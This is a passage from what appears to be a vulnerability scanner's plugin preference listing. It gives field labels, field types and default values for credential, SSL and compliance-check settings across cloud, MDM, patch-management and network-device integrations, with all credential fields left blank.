: +entry +VMware vCenter host : + + + + +64286 +Palo Alto Networks PAN-OS Settings +Palo Alto Networks PAN-OS Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +64286 +Palo Alto Networks PAN-OS Settings +Palo Alto Networks PAN-OS Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +64286 +Palo Alto Networks PAN-OS Settings +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Port : +entry +Palo Alto Port : +443 + + +64286 +Palo Alto Networks PAN-OS Settings +Palo Alto Networks PAN-OS Settings[password]:Palo Alto Password : +password +Palo Alto Password : + + + + +64286 +Palo Alto Networks PAN-OS Settings +Palo Alto Networks PAN-OS Settings[entry]:Palo Alto Username : +entry +Palo Alto Username : + + + + +66334 +Patch Report +Patch Report[checkbox]:Display the superseded patches in the report +checkbox +Display the superseded patches in the report +yes +yes + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:OVAL Result Type #5 : +radio +OVAL Result Type #5 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #5 : +entry +SCAP Profile ID #5 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #5 : +entry +SCAP Benchmark ID #5 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +entry +SCAP Data Stream ID (1.2 only) #5 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:SCAP Version #5 : +radio +SCAP Version #5 : +1.2;1.1;1.0 + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[file]:SCAP File (zip) #5 : +file +SCAP File (zip) #5 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:OVAL Result Type #4 : +radio +OVAL Result Type #4 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #4 : +entry +SCAP Profile ID #4 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #4 : +entry +SCAP Benchmark ID #4 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +entry +SCAP Data Stream ID (1.2 only) #4 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:SCAP Version #4 : +radio +SCAP Version #4 : +1.2;1.1;1.0 + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[file]:SCAP File (zip) #4 : +file +SCAP File (zip) #4 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:OVAL Result Type #3 : +radio +OVAL Result Type #3 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #3 : +entry +SCAP Profile ID #3 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #3 : +entry +SCAP Benchmark ID #3 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +entry +SCAP Data Stream ID (1.2 only) #3 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:SCAP Version #3 : +radio +SCAP Version #3 : +1.2;1.1;1.0 + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[file]:SCAP File (zip) #3 : +file +SCAP File (zip) #3 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:OVAL Result Type #2 : +radio +OVAL Result Type #2 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #2 : +entry +SCAP Profile ID #2 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #2 : +entry +SCAP Benchmark ID #2 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +entry +SCAP Data Stream ID (1.2 only) #2 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:SCAP Version #2 : +radio +SCAP Version #2 : +1.2;1.1;1.0 + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[file]:SCAP File (zip) #2 : +file +SCAP File (zip) #2 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:OVAL Result Type #1 : +radio +OVAL Result Type #1 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #1 : +entry +SCAP Profile ID #1 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #1 : +entry +SCAP Benchmark ID #1 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +entry +SCAP Data Stream ID (1.2 only) #1 : + + + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[radio]:SCAP Version #1 : +radio +SCAP Version #1 : +1.2;1.1;1.0 + + +66756 +SCAP Windows Compliance Checks +SCAP Windows Compliance Checks[file]:SCAP File (zip) #1 : +file +SCAP File (zip) #1 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:OVAL Result Type #5 : +radio +OVAL Result Type #5 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #5 : +entry +SCAP Profile ID #5 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #5 : +entry +SCAP Benchmark ID #5 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +entry +SCAP Data Stream ID (1.2 only) #5 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:SCAP Version #5 : +radio +SCAP Version #5 : +1.2;1.1;1.0 + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[file]:SCAP File (zip) #5 : +file +SCAP File (zip) #5 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:OVAL Result Type #4 : +radio +OVAL Result Type #4 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #4 : +entry +SCAP Profile ID #4 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #4 : +entry +SCAP Benchmark ID #4 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +entry +SCAP Data Stream ID (1.2 only) #4 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:SCAP Version #4 : +radio +SCAP Version #4 : +1.2;1.1;1.0 + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[file]:SCAP File (zip) #4 : +file +SCAP File (zip) #4 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:OVAL Result Type #3 : +radio +OVAL Result Type #3 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #3 : +entry +SCAP Profile ID #3 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #3 : +entry +SCAP Benchmark ID #3 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +entry +SCAP Data Stream ID (1.2 only) #3 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:SCAP Version #3 : +radio +SCAP Version #3 : +1.2;1.1;1.0 + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[file]:SCAP File (zip) #3 : +file +SCAP File (zip) #3 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:OVAL Result Type #2 : +radio +OVAL Result Type #2 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #2 : +entry +SCAP Profile ID #2 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #2 : +entry +SCAP Benchmark ID #2 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +entry +SCAP Data Stream ID (1.2 only) #2 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:SCAP Version #2 : +radio +SCAP Version #2 : +1.2;1.1;1.0 + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[file]:SCAP File (zip) #2 : +file +SCAP File (zip) #2 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:OVAL Result Type #1 : +radio +OVAL Result Type #1 : +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Profile ID #1 : +entry +SCAP Profile ID #1 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Benchmark ID #1 : +entry +SCAP Benchmark ID #1 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +entry +SCAP Data Stream ID (1.2 only) #1 : + + + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[radio]:SCAP Version #1 : +radio +SCAP Version #1 : +1.2;1.1;1.0 + + +66757 +SCAP Linux Compliance Checks +SCAP Linux Compliance Checks[file]:SCAP File (zip) #1 : +file +SCAP File (zip) #1 : + + + + +66963 +Good MDM Settings +Good MDM Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +66963 +Good MDM Settings +Good MDM Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +66963 +Good MDM Settings +Good MDM Settings[password]:Password : +password +Password : + + + + +66963 +Good MDM Settings +Good MDM Settings[entry]:Username : +entry +Username : + + + + +66963 +Good MDM Settings +Good MDM Settings[entry]:Domain : +entry +Domain : + + + + +66963 +Good MDM Settings +Good MDM Settings[entry]:Port : +entry +Port : + + + + +66963 +Good MDM Settings +Good MDM Settings[entry]:GMC Server : +entry +GMC Server : + + + + +72904 +MobileIron API Settings +MobileIron API Settings[checkbox]:Verify SSL certificate : +checkbox +Verify SSL certificate : +no + + +72904 +MobileIron API Settings +MobileIron API Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +72904 +MobileIron API Settings +MobileIron API Settings[password]:MobileIron password : +password +MobileIron password : + + + + +72904 +MobileIron API Settings +MobileIron API Settings[entry]:MobileIron username : +entry +MobileIron username : + + + + +72904 +MobileIron API Settings +MobileIron API Settings[entry]:MobileIron port : +entry +MobileIron port : + + + + +72904 +MobileIron API Settings +MobileIron API Settings[entry]:MobileIron VSP Admin Portal Port : +entry +MobileIron VSP Admin Portal Port : + + + + +72904 +MobileIron API Settings +MobileIron API Settings[entry]:MobileIron VSP Admin Portal URL : +entry +MobileIron VSP Admin Portal URL : + + + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +yes + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[password]:AWS Secret Access Key : +password +AWS Secret Access Key : + + + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[password]:AWS Access Key ID : +password +AWS Access Key ID : + + + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region us-west-2 : +checkbox +Region us-west-2 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region us-west-1 : +checkbox +Region us-west-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region us-gov-west-1 : +checkbox +Region us-gov-west-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region us-gov-east-1 : +checkbox +Region us-gov-east-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region us-east-2 : +checkbox +Region us-east-2 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region us-east-1 : +checkbox +Region us-east-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region sa-east-1 : +checkbox +Region sa-east-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region me-south-1 : +checkbox +Region me-south-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region eu-west-3 : +checkbox +Region eu-west-3 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region eu-west-2 : +checkbox +Region eu-west-2 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region eu-west-1 : +checkbox +Region eu-west-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region eu-south-1 : +checkbox +Region eu-south-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region eu-north-1 : +checkbox +Region eu-north-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region eu-central-1 : +checkbox +Region eu-central-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region cn-northwest-1 : +checkbox +Region cn-northwest-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region cn-north-1 : +checkbox +Region cn-north-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region ca-central-1 : +checkbox +Region ca-central-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region ap-southeast-2 : +checkbox +Region ap-southeast-2 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region ap-southeast-1 : +checkbox +Region ap-southeast-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region ap-south-1 : +checkbox +Region ap-south-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region ap-northeast-3 : +checkbox +Region ap-northeast-3 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region ap-northeast-2 : +checkbox +Region ap-northeast-2 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region ap-northeast-1 : +checkbox +Region ap-northeast-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region ap-east-1 : +checkbox +Region ap-east-1 : +no + + +73490 +Amazon Web Services Settings +Amazon Web Services Settings[checkbox]:Region af-south-1 : +checkbox +Region af-south-1 : +no + + +73980 +Hosts File Whitelisted Entries +Hosts File Whitelisted Entries[file]:Upload file with custom hosts entries : +file +Upload file with custom hosts entries : + + + + +76460 +AirWatch API Settings +AirWatch API Settings[checkbox]:Verify SSL certificate : +checkbox +Verify SSL certificate : +no + + +76460 +AirWatch API Settings +AirWatch API Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +76460 +AirWatch API Settings +AirWatch API Settings[entry]:AirWatch API key : +entry +AirWatch API key : + + + + +76460 +AirWatch API Settings +AirWatch API Settings[password]:AirWatch password : +password +AirWatch password : + + + + +76460 +AirWatch API Settings +AirWatch API Settings[entry]:AirWatch username : +entry +AirWatch username : + + + + +76460 +AirWatch API Settings +AirWatch API Settings[entry]:AirWatch port : +entry +AirWatch port : + + + + +76460 +AirWatch API Settings +AirWatch API Settings[entry]:AirWatch Environment API URL : +entry +AirWatch Environment API URL : + + + + +76512 +MongoDB Settings +MongoDB Settings[entry]:Port : +entry +Port : +27017 + + +76512 +MongoDB Settings +MongoDB Settings[entry]:Database for authentication : +entry +Database for authentication : + + + + +76512 +MongoDB Settings +MongoDB Settings[password]:Password : +password +Password : + + + + +76512 +MongoDB Settings +MongoDB Settings[entry]:Username : +entry +Username : + + + + +76710 +Salesforce.com Settings +Salesforce.com Settings[password]:Password : +password +Password : + + + + +76710 +Salesforce.com Settings +Salesforce.com Settings[entry]:Username : +entry +Username : + + + + +76866 +Patch Management: Dell KACE K1000 Settings +Patch Management: Dell KACE K1000 Settings[password]:K1000 Database Password : +password +K1000 Database Password : + + + + +76866 +Patch Management: Dell KACE K1000 Settings +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Username : +entry +K1000 Database Username : +R1 + + +76866 +Patch Management: Dell KACE K1000 Settings +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Organization Database Name : +entry +K1000 Organization Database Name : +ORG1 + + +76866 +Patch Management: Dell KACE K1000 Settings +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Port : +entry +K1000 Database Port : +3306 + + +76866 +Patch Management: Dell KACE K1000 Settings +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Address : +entry +K1000 Address : + + + + +77089 +RHEV Settings +RHEV Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +77089 +RHEV Settings +RHEV Settings[entry]:Port : +entry +Port : +443 + + +77089 +RHEV Settings +RHEV Settings[password]:Password : +password +Password : + + + + +77089 +RHEV Settings +RHEV Settings[entry]:Username : +entry +Username : + + + + +78013 +Patch Management: Symantec Altiris Settings +Patch Management: Symantec Altiris Settings[password]:Symantec Altiris Database Password : +password +Symantec Altiris Database Password : + + + + +78013 +Patch Management: Symantec Altiris Settings +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Username : +entry +Symantec Altiris Database Username : + + + + +78013 +Patch Management: Symantec Altiris Settings +Patch Management: Symantec Altiris Settings[checkbox]:Symantec Altiris Use Windows Credentials : +checkbox +Symantec Altiris Use Windows Credentials : +no + + +78013 +Patch Management: Symantec Altiris Settings +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Name : +entry +Symantec Altiris Database Name : +Symantec_CMDB + + +78013 +Patch Management: Symantec Altiris Settings +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Port : +entry +Symantec Altiris Database Port : +5690 + + +78013 +Patch Management: Symantec Altiris Settings +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Server : +entry +Symantec Altiris Database Server : + + + + +79355 +Rackspace Settings +Rackspace Settings[checkbox]:Hong Kong (HKG) : +checkbox +Hong Kong (HKG) : +yes + + +79355 +Rackspace Settings +Rackspace Settings[checkbox]:Sydney (SYD) : +checkbox +Sydney (SYD) : +yes + + +79355 +Rackspace Settings +Rackspace Settings[checkbox]:London (LON) : +checkbox +London (LON) : +yes + + +79355 +Rackspace Settings +Rackspace Settings[checkbox]:Northern Virginia (IAD) : +checkbox +Northern Virginia (IAD) : +yes + + +79355 +Rackspace Settings +Rackspace Settings[checkbox]:Chicago (ORD) : +checkbox +Chicago (ORD) : +yes + + +79355 +Rackspace Settings +Rackspace Settings[checkbox]:Dallas-Fort Worth (DFW) : +checkbox +Dallas-Fort Worth (DFW) : +yes + + +79355 +Rackspace Settings +Rackspace Settings[radio]:Authentication Method : +radio +Authentication Method : +API-Key;Password + + +79355 +Rackspace Settings +Rackspace Settings[password]:Password or API Key : +password +Password or API Key : + + + + +79355 +Rackspace Settings +Rackspace Settings[entry]:Username : +entry +Username : + + + + +79358 +Microsoft Azure Settings +Microsoft Azure Settings[entry]:Subscriptions : +entry +Subscriptions : + + + + +79358 +Microsoft Azure Settings +Microsoft Azure Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +79358 +Microsoft Azure Settings +Microsoft Azure Settings[entry]:Tenant ID : +entry +Tenant ID : + + + + +79358 +Microsoft Azure Settings +Microsoft Azure Settings[entry]:Client ID : +entry +Client ID : + + + + +79358 +Microsoft Azure Settings +Microsoft Azure Settings[password]:Password : +password +Password : + + + + +79358 +Microsoft Azure Settings +Microsoft Azure Settings[entry]:Username : +entry +Username : + + + + +79358 +Microsoft Azure Settings +Microsoft Azure Settings[entry]:Authentication Environment : +entry +Authentication Environment : + + + + +79358 +Microsoft Azure Settings +Microsoft Azure Settings[radio]:Authentication Method : +radio +Authentication Method : + + + + +83188 +OVAL Linux Compliance Checks +OVAL Linux Compliance Checks[file]:Policy file #5 : +file +Policy file #5 : + + + + +83188 +OVAL Linux Compliance Checks +OVAL Linux Compliance Checks[file]:Policy file #4 : +file +Policy file #4 : + + + + +83188 +OVAL Linux Compliance Checks +OVAL Linux Compliance Checks[file]:Policy file #3 : +file +Policy file #3 : + + + + +83188 +OVAL Linux Compliance Checks +OVAL Linux Compliance Checks[file]:Policy file #2 : +file +Policy file #2 : + + + + +83188 +OVAL Linux Compliance Checks +OVAL Linux Compliance Checks[file]:Policy file #1 : +file +Policy file #1 : + + + + +83189 +OVAL Windows Compliance Checks +OVAL Windows Compliance Checks[file]:Policy file #5 : +file +Policy file #5 : + + + + +83189 +OVAL Windows Compliance Checks +OVAL Windows Compliance Checks[file]:Policy file #4 : +file +Policy file #4 : + + + + +83189 +OVAL Windows Compliance Checks +OVAL Windows Compliance Checks[file]:Policy file #3 : +file +Policy file #3 : + + + + +83189 +OVAL Windows Compliance Checks +OVAL Windows Compliance Checks[file]:Policy file #2 : +file +Policy file #2 : + + + + +83189 +OVAL Windows Compliance Checks +OVAL Windows Compliance Checks[file]:Policy file #1 : +file +Policy file #1 : + + + + +84232 +Patch Management: Red Hat Satellite 6 Settings +Patch Management: Red Hat Satellite 6 Settings[password]:Satellite 6 Password : +password +Satellite 6 Password : + + + + +84232 +Patch Management: Red Hat Satellite 6 Settings +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Username : +entry +Satellite 6 Username : + + + + +84232 +Patch Management: Red Hat Satellite 6 Settings +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Verify Certificate : +checkbox +Satellite 6 Verify Certificate : +yes + + +84232 +Patch Management: Red Hat Satellite 6 Settings +Patch Management: Red Hat Satellite 6 Settings[checkbox]:Satellite 6 Use SSL : +checkbox +Satellite 6 Use SSL : +yes + + +84232 +Patch Management: Red Hat Satellite 6 Settings +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Port : +entry +Satellite 6 Port : +443 + + +84232 +Patch Management: Red Hat Satellite 6 Settings +Patch Management: Red Hat Satellite 6 Settings[entry]:Satellite 6 Server : +entry +Satellite 6 Server : + + + + +84238 +Patch Management: Red Hat Satellite Server Settings +Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) : +password +Red Hat Satellite password(s) : + + + + +84238 +Patch Management: Red Hat Satellite Server Settings +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) : +entry +Red Hat Satellite username(s) : + + + + +84238 +Patch Management: Red Hat Satellite Server Settings +Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates : +checkbox +Verify SSL certificates : +no + + +84238 +Patch Management: Red Hat Satellite Server Settings +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) : +entry +Red Hat Satellite port(s) : +443 + + +84238 +Patch Management: Red Hat Satellite Server Settings +Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] : +entry +Red Hat Satellite server(s) [separated w/ semicolons] : + + + + +86348 +OpenStack Settings +OpenStack Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +yes + + +86348 +OpenStack Settings +OpenStack Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +86348 +OpenStack Settings +OpenStack Settings[entry]:Port : +entry +Port : +443 + + +86348 +OpenStack Settings +OpenStack Settings[password]:Password : +password +Password : + + + + +86348 +OpenStack Settings +OpenStack Settings[entry]:Tenant Name for Authentication : +entry +Tenant Name for Authentication : +admin + + +86348 +OpenStack Settings +OpenStack Settings[entry]:Username : +entry +Username : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[checkbox]:Collect Device Policies : +checkbox +Collect Device Policies : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[checkbox]:Collect Device Compliance : +checkbox +Collect Device Compliance : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[checkbox]:Collect Device Applications : +checkbox +Collect Device Applications : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[checkbox]:Collect Device Summary : +checkbox +Collect Device Summary : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[checkbox]:Collect All Device Data : +checkbox +Collect All Device Data : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[entry]:App access key : +entry +App access key : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[entry]:App version : +entry +App version : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[entry]:App ID : +entry +App ID : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[entry]:Billing ID : +entry +Billing ID : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[entry]:Platform ID : +entry +Platform ID : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[entry]:Root URL : +entry +Root URL : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[password]:Password : +password +Password : + + + + +92000 +MaaS360 Settings +MaaS360 Settings[entry]:Username : +entry +Username : + + + + +95387 +F5 Settings +F5 Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +yes + + +95387 +F5 Settings +F5 Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +95387 +F5 Settings +F5 Settings[entry]:Port : +entry +Port : +443 + + +95387 +F5 Settings +F5 Settings[password]:Password : +password +Password : + + + + +95387 +F5 Settings +F5 Settings[entry]:Username : +entry +Username : + + + + +109581 +Office 365 Settings +Office 365 Settings[password]:Client Secret : +password +Client Secret : + + + + +109581 +Office 365 Settings +Office 365 Settings[entry]:Client Id : +entry +Client Id : + + + + +109581 +Office 365 Settings +Office 365 Settings[password]:Password : +password +Password : + + + + +109581 +Office 365 Settings +Office 365 Settings[entry]:Username : +entry +Username : + + + + +112118 +Netapp API Settings +Netapp API Settings[entry]:Port : +entry +Port : + + + + +112118 +Netapp API Settings +Netapp API Settings[entry]:vFiler : +entry +vFiler : + + + + +112118 +Netapp API Settings +Netapp API Settings[password]:Password : +password +Password : + + + + +112118 +Netapp API Settings +Netapp API Settings[entry]:Username : +entry +Username : + + + + +112154 +Nessus Launched Plugin List +Nessus Launched Plugin List[checkbox]:Enable Plugin List Report +checkbox +Enable Plugin List Report +no +no + + +124860 +Blackberry UEM Settings +Blackberry UEM Settings[checkbox]:Blackberry UEM Verify SSL Certificate : +checkbox +Blackberry UEM Verify SSL Certificate : +no + + +124860 +Blackberry UEM Settings +Blackberry UEM Settings[checkbox]:Blackberry UEM SSL : +checkbox +Blackberry UEM SSL : +yes + + +124860 +Blackberry UEM Settings +Blackberry UEM Settings[password]:Blackberry UEM Password : +password +Blackberry UEM Password : + + + + +124860 +Blackberry UEM Settings +Blackberry UEM Settings[entry]:Blackberry UEM Username : +entry +Blackberry UEM Username : + + + + +124860 +Blackberry UEM Settings +Blackberry UEM Settings[entry]:Blackberry UEM Domain : +entry +Blackberry UEM Domain : + + + + +124860 +Blackberry UEM Settings +Blackberry UEM Settings[entry]:Blackberry UEM Tenant : +entry +Blackberry UEM Tenant : + + + + +124860 +Blackberry UEM Settings +Blackberry UEM Settings[entry]:Blackberry UEM Port : +entry +Blackberry UEM Port : + + + + +124860 +Blackberry UEM Settings +Blackberry UEM Settings[entry]:Blackberry UEM Hostname : +entry +Blackberry UEM Hostname : + + + + +125030 +Intune Settings +Intune Settings[entry]:Intune Password : +entry +Intune Password : + + + + +125030 +Intune Settings +Intune Settings[entry]:Intune Username : +entry +Intune Username : + + + + +125030 +Intune Settings +Intune Settings[entry]:Intune Secret : +entry +Intune Secret : + + + + +125030 +Intune Settings +Intune Settings[entry]:Intune Client : +entry +Intune Client : + + + + +125030 +Intune Settings +Intune Settings[entry]:Intune Tenant : +entry +Intune Tenant : + + + + +147190 +Active Connection to or from Host Listed in Custom Netstat IP Threat List +Active Connection to or from Host Listed in Custom Netstat IP Threat List[file]:Custom Netstat IP Threat List : +file +Custom Netstat IP Threat List : + + + + +150079 +Google Cloud Platform Settings +Google Cloud Platform Settings[file]:Service Account JSON Key File : +file +Service Account JSON Key File : + + + + +154869 +Citrix NITRO API Settings +Citrix NITRO API Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +yes + + +154869 +Citrix NITRO API Settings +Citrix NITRO API Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +154869 +Citrix NITRO API Settings +Citrix NITRO API Settings[entry]:Port : +entry +Port : +443 + + +154869 +Citrix NITRO API Settings +Citrix NITRO API Settings[password]:Password : +password +Password : + + + + +154869 +Citrix NITRO API Settings +Citrix NITRO API Settings[entry]:Username : +entry +Username : + + + + +160184 +Nutanix Settings 